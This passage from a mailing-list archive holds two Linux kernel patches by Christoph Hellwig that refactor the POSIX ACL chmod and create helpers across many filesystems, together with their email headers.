relay2.corp.sgi.com (Postfix) with ESMTP id E8E90304093 for ; Fri, 20 Dec 2013 05:25:33 -0800 (PST) X-ASG-Debug-ID: 1387545932-04bdf00fe0149310001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id P8BAvKPA2URKfWmz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04w-0003Eu-5B; Fri, 20 Dec 2013 13:25:22 +0000 Message-Id: <20131220132522.037610446@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:41 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 06/21] fs: make posix_acl_chmod more useful References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 06/21] fs: make posix_acl_chmod more useful Content-Disposition: inline; filename=0006-fs-make-posix_acl_chmod-more-useful.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Rename the current posix_acl_chmod to __posix_acl_chmod and add a fully featured ACL chmod helper that uses the ->set_acl inode operation. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/9p/acl.c | 2 +- fs/btrfs/acl.c | 2 +- fs/ext2/acl.c | 2 +- fs/ext3/acl.c | 2 +- fs/ext4/acl.c | 2 +- fs/f2fs/acl.c | 2 +- fs/generic_acl.c | 2 +- fs/gfs2/acl.c | 2 +- fs/hfsplus/posix_acl.c | 2 +- fs/jffs2/acl.c | 2 +- fs/jfs/acl.c | 2 +- fs/ocfs2/acl.c | 2 +- fs/posix_acl.c | 30 +++++++++++++++++++++++++++--- fs/reiserfs/xattr_acl.c | 2 +- fs/xfs/xfs_acl.c | 2 +- include/linux/posix_acl.h | 17 +++++++++++++---- 16 files changed, 54 insertions(+), 21 deletions(-) diff --git a/fs/9p/acl.c b/fs/9p/acl.c index 7af425f..f5ce5c5 100644 --- a/fs/9p/acl.c +++ b/fs/9p/acl.c @@ -156,7 +156,7 @@ int v9fs_acl_chmod(struct inode *inode, struct p9_fid *fid) return -EOPNOTSUPP; acl = v9fs_get_cached_acl(inode, ACL_TYPE_ACCESS); if (acl) { - retval = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + retval = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (retval) return retval; set_cached_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index 0890c83..1af04ff 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -256,7 +256,7 @@ int btrfs_acl_chmod(struct inode *inode) if (IS_ERR_OR_NULL(acl)) return PTR_ERR(acl); - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (ret) return ret; ret = btrfs_set_acl(NULL, inode, acl, ACL_TYPE_ACCESS); diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 110b6b3..7006ced 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -308,7 +308,7 @@ ext2_acl_chmod(struct inode *inode) acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index dbb5ad5..6691a6c 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -314,7 +314,7 @@ ext3_acl_chmod(struct inode *inode) acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; retry: diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index 39a54a0..2eebe02 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -320,7 +320,7 @@ ext4_acl_chmod(struct inode *inode) acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; retry: diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index d0fc287..14c4df0 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -311,7 +311,7 @@ int f2fs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); if (error) return error; diff --git a/fs/generic_acl.c b/fs/generic_acl.c index b3f3676..46a5076 100644 --- a/fs/generic_acl.c +++ b/fs/generic_acl.c @@ -158,7 +158,7 @@ generic_acl_chmod(struct inode *inode) return -EOPNOTSUPP; acl = get_cached_acl(inode, ACL_TYPE_ACCESS); if (acl) { - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; set_cached_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index f69ac0a..3e200c7 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -162,7 +162,7 @@ int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) if (!acl) return gfs2_setattr_simple(inode, attr); - error = posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); + error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); if (error) return error; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index b609cc1..cab5fd6 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -167,7 +167,7 @@ int hfsplus_posix_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - err = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + err = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (unlikely(err)) return err; diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 223283c..5853969 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -335,7 +335,7 @@ int jffs2_acl_chmod(struct inode *inode) acl = jffs2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (rc) return rc; rc = jffs2_set_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index d254d6d..9c0fca8 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -161,7 +161,7 @@ int jfs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (rc) return rc; diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index b4f788e..73ccf0e 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -350,7 +350,7 @@ int ocfs2_acl_chmod(struct inode *inode) acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (ret) return ret; ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 3c0f659..6952970 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -363,7 +363,7 @@ static int posix_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) /* * Modify the ACL for the chmod syscall. */ -static int posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) +static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) { struct posix_acl_entry *group_obj = NULL, *mask_obj = NULL; struct posix_acl_entry *pa, *pe; @@ -427,12 +427,12 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) EXPORT_SYMBOL(posix_acl_create); int -posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) +__posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) { struct posix_acl *clone = posix_acl_clone(*acl, gfp); int err = -ENOMEM; if (clone) { - err = posix_acl_chmod_masq(clone, mode); + err = __posix_acl_chmod_masq(clone, mode); if (err) { posix_acl_release(clone); clone = NULL; @@ -442,6 +442,30 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) *acl = clone; return err; } +EXPORT_SYMBOL(__posix_acl_chmod); + +int +posix_acl_chmod(struct inode *inode) +{ + struct posix_acl *acl; + int ret = 0; + + if (!IS_POSIXACL(inode)) + return 0; + if (!inode->i_op->set_acl) + return -EOPNOTSUPP; + + acl = get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR_OR_NULL(acl)) + return PTR_ERR(acl); + + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + if (ret) + return ret; + ret = inode->i_op->set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + return ret; +} EXPORT_SYMBOL(posix_acl_chmod); /* diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index 6f721ea..ea4e443 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -463,7 +463,7 @@ int reiserfs_acl_chmod(struct inode *inode) return 0; if (IS_ERR(acl)) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); if (error) return error; diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 370eb3e..4eac105 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -334,7 +334,7 @@ xfs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index a8d9918..8b64e78 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -89,12 +89,14 @@ extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); -extern int posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); +extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); extern struct posix_acl *get_posix_acl(struct inode *, int); extern int set_posix_acl(struct inode *, int, struct posix_acl *); #ifdef CONFIG_FS_POSIX_ACL +extern int posix_acl_chmod(struct inode *); + static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { @@ -165,15 +167,22 @@ static inline void forget_all_cached_acls(struct inode *inode) if (old_default != ACL_NOT_CACHED) posix_acl_release(old_default); } -#endif static inline void cache_no_acl(struct inode *inode) { -#ifdef CONFIG_FS_POSIX_ACL inode->i_acl = NULL; inode->i_default_acl = NULL; -#endif } +#else +static inline int posix_acl_chmod(struct inode *inode) +{ + return 0; +} + +static inline void cache_no_acl(struct inode *inode) +{ +} +#endif /* CONFIG_FS_POSIX_ACL */ struct posix_acl *get_acl(struct inode *inode, int type); -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 835B529E19 for ; Fri, 20 Dec 2013 07:25:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12E52AC00C for ; Fri, 20 Dec 2013 05:25:34 -0800 (PST) X-ASG-Debug-ID: 1387545932-04cb6c537c86c380001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id BgqnQWH5y382xTme (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:32 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04w-0003Fg-BG; Fri, 20 Dec 2013 13:25:22 +0000 Message-Id: <20131220132522.224436375@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:42 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 07/21] fs: make posix_acl_create more useful References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 07/21] fs: make posix_acl_create more useful Content-Disposition: inline; filename=0007-fs-make-posix_acl_create-more-useful.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Rename the current posix_acl_created to __posix_acl_create and add a fully featured helper to set up the ACLs on file creation that uses get_acl(). Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/9p/acl.c | 2 +- fs/btrfs/acl.c | 2 +- fs/ext2/acl.c | 2 +- fs/ext3/acl.c | 2 +- fs/ext4/acl.c | 2 +- fs/f2fs/acl.c | 2 +- fs/generic_acl.c | 2 +- fs/gfs2/acl.c | 2 +- fs/hfsplus/posix_acl.c | 2 +- fs/jffs2/acl.c | 2 +- fs/jfs/acl.c | 2 +- fs/nfs/nfs3acl.c | 2 +- fs/ocfs2/acl.c | 2 +- fs/posix_acl.c | 57 +++++++++++++++++++++++++++++++++++++++++---- fs/reiserfs/xattr_acl.c | 2 +- fs/xfs/xfs_acl.c | 4 ++-- include/linux/posix_acl.h | 8 ++++--- 17 files changed, 74 insertions(+), 23 deletions(-) diff --git a/fs/9p/acl.c b/fs/9p/acl.c index f5ce5c5..8482f2d 100644 --- a/fs/9p/acl.c +++ b/fs/9p/acl.c @@ -200,7 +200,7 @@ int v9fs_acl_mode(struct inode *dir, umode_t *modep, if (acl) { if (S_ISDIR(mode)) *dpacl = posix_acl_dup(acl); - retval = posix_acl_create(&acl, GFP_NOFS, &mode); + retval = __posix_acl_create(&acl, GFP_NOFS, &mode); if (retval < 0) return retval; if (retval > 0) diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index 1af04ff..b56519d 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -222,7 +222,7 @@ int btrfs_init_acl(struct btrfs_trans_handle *trans, if (ret) goto failed; } - ret = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + ret = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (ret < 0) return ret; diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 7006ced..6e842a7 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -268,7 +268,7 @@ ext2_init_acl(struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) { diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index 6691a6c..4f3d8fa 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -271,7 +271,7 @@ ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (error < 0) return error; diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index 2eebe02..f827f3b 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -276,7 +276,7 @@ ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (error < 0) return error; diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 14c4df0..45e8430 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -285,7 +285,7 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) diff --git a/fs/generic_acl.c b/fs/generic_acl.c index 46a5076..4357f39 100644 --- a/fs/generic_acl.c +++ b/fs/generic_acl.c @@ -128,7 +128,7 @@ generic_acl_init(struct inode *inode, struct inode *dir) if (acl) { if (S_ISDIR(inode->i_mode)) set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index 3e200c7..e82e4ac 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -131,7 +131,7 @@ int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) goto out; } - error = posix_acl_create(&acl, GFP_NOFS, &mode); + error = __posix_acl_create(&acl, GFP_NOFS, &mode); if (error < 0) return error; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index cab5fd6..277942f 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -137,7 +137,7 @@ int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) goto init_acl_cleanup; } - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (unlikely(err < 0)) return err; diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 5853969..4d6e31b 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -295,7 +295,7 @@ int jffs2_init_acl_pre(struct inode *dir_i, struct inode *inode, umode_t *i_mode if (S_ISDIR(*i_mode)) set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - rc = posix_acl_create(&acl, GFP_KERNEL, i_mode); + rc = __posix_acl_create(&acl, GFP_KERNEL, i_mode); if (rc < 0) return rc; if (rc > 0) diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index 9c0fca8..28d529a 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -132,7 +132,7 @@ int jfs_init_acl(tid_t tid, struct inode *inode, struct inode *dir) if (rc) goto cleanup; } - rc = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + rc = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (rc < 0) goto cleanup; /* posix_acl_release(NULL) is no-op */ if (rc > 0) diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c index 4a1aafb..e859675 100644 --- a/fs/nfs/nfs3acl.c +++ b/fs/nfs/nfs3acl.c @@ -428,7 +428,7 @@ int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, if (!dfacl) return 0; acl = posix_acl_dup(dfacl); - error = posix_acl_create(&acl, GFP_KERNEL, &mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); if (error < 0) goto out_release_dfacl; error = nfs3_proc_setacls(inode, acl, S_ISDIR(inode->i_mode) ? diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index 73ccf0e..c0f9d2f 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -401,7 +401,7 @@ int ocfs2_init_acl(handle_t *handle, goto cleanup; } mode = inode->i_mode; - ret = posix_acl_create(&acl, GFP_NOFS, &mode); + ret = __posix_acl_create(&acl, GFP_NOFS, &mode); if (ret < 0) return ret; diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 6952970..00844a3 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -409,7 +409,7 @@ static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) } int -posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) +__posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) { struct posix_acl *clone = posix_acl_clone(*acl, gfp); int err = -ENOMEM; @@ -424,7 +424,7 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) *acl = clone; return err; } -EXPORT_SYMBOL(posix_acl_create); +EXPORT_SYMBOL(__posix_acl_create); int __posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) @@ -445,7 +445,7 @@ __posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) EXPORT_SYMBOL(__posix_acl_chmod); int -posix_acl_chmod(struct inode *inode) +posix_acl_chmod(struct inode *inode, umode_t mode) { struct posix_acl *acl; int ret = 0; @@ -459,7 +459,7 @@ posix_acl_chmod(struct inode *inode) if (IS_ERR_OR_NULL(acl)) return PTR_ERR(acl); - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, mode); if (ret) return ret; ret = inode->i_op->set_acl(inode, acl, ACL_TYPE_ACCESS); @@ -468,6 +468,55 @@ posix_acl_chmod(struct inode *inode) } EXPORT_SYMBOL(posix_acl_chmod); +int +posix_acl_create(struct inode *dir, umode_t *mode, + struct posix_acl **default_acl, struct posix_acl **acl) +{ + struct posix_acl *p; + int ret; + + if (S_ISLNK(*mode) || !IS_POSIXACL(dir)) + goto no_acl; + + p = get_acl(dir, ACL_TYPE_DEFAULT); + if (IS_ERR(p)) + return PTR_ERR(p); + + if (!p) { + *mode &= ~current_umask(); + goto no_acl; + } + + *acl = posix_acl_clone(p, GFP_NOFS); + if (!*acl) + return -ENOMEM; + + ret = posix_acl_create_masq(*acl, mode); + if (ret < 0) { + posix_acl_release(*acl); + return -ENOMEM; + } + + if (ret == 0) { + posix_acl_release(*acl); + *acl = NULL; + } + + if (!S_ISDIR(*mode)) { + posix_acl_release(p); + *default_acl = NULL; + } else { + *default_acl = p; + } + return 0; + +no_acl: + *default_acl = NULL; + *acl = NULL; + return 0; +} +EXPORT_SYMBOL_GPL(posix_acl_create); + /* * Fix up the uids and gids in posix acl extended attributes in place. */ diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index ea4e443..d95c959 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -378,7 +378,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, /* Now we reconcile the new ACL and the mode, potentially modifying both */ - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (err < 0) return err; diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4eac105..057ae2d 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -297,12 +297,12 @@ xfs_inherit_acl(struct inode *inode, struct posix_acl *acl) goto out; } - error = posix_acl_create(&acl, GFP_KERNEL, &mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); if (error < 0) return error; /* - * If posix_acl_create returns a positive value we need to + * If __posix_acl_create returns a positive value we need to * inherit a permission that can't be represented using the Unix * mode bits and we actually need to set an ACL. */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 8b64e78..2e40aae 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -88,14 +88,16 @@ extern int posix_acl_valid(const struct posix_acl *); extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); -extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); +extern int __posix_acl_create(struct posix_acl **, gfp_t, umode_t *); extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); extern struct posix_acl *get_posix_acl(struct inode *, int); extern int set_posix_acl(struct inode *, int, struct posix_acl *); #ifdef CONFIG_FS_POSIX_ACL -extern int posix_acl_chmod(struct inode *); +extern int posix_acl_chmod(struct inode *, umode_t); +extern int posix_acl_create(struct inode *, umode_t *, struct posix_acl **, + struct posix_acl **); static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { @@ -174,7 +176,7 @@ static inline void cache_no_acl(struct inode *inode) inode->i_default_acl = NULL; } #else -static inline int posix_acl_chmod(struct inode *inode) +static inline int posix_acl_chmod(struct inode *inode, umode_t mode) { return 0; } -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2BAC229E12 for ; Fri, 20 Dec 2013 07:25:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BCCEAAC00E for ; Fri, 20 Dec 2013 05:25:34 -0800 (PST) X-ASG-Debug-ID: 1387545933-04cbb04168864440001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id l2wIJTfC6WARBtei (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:33 -0800 (PST) 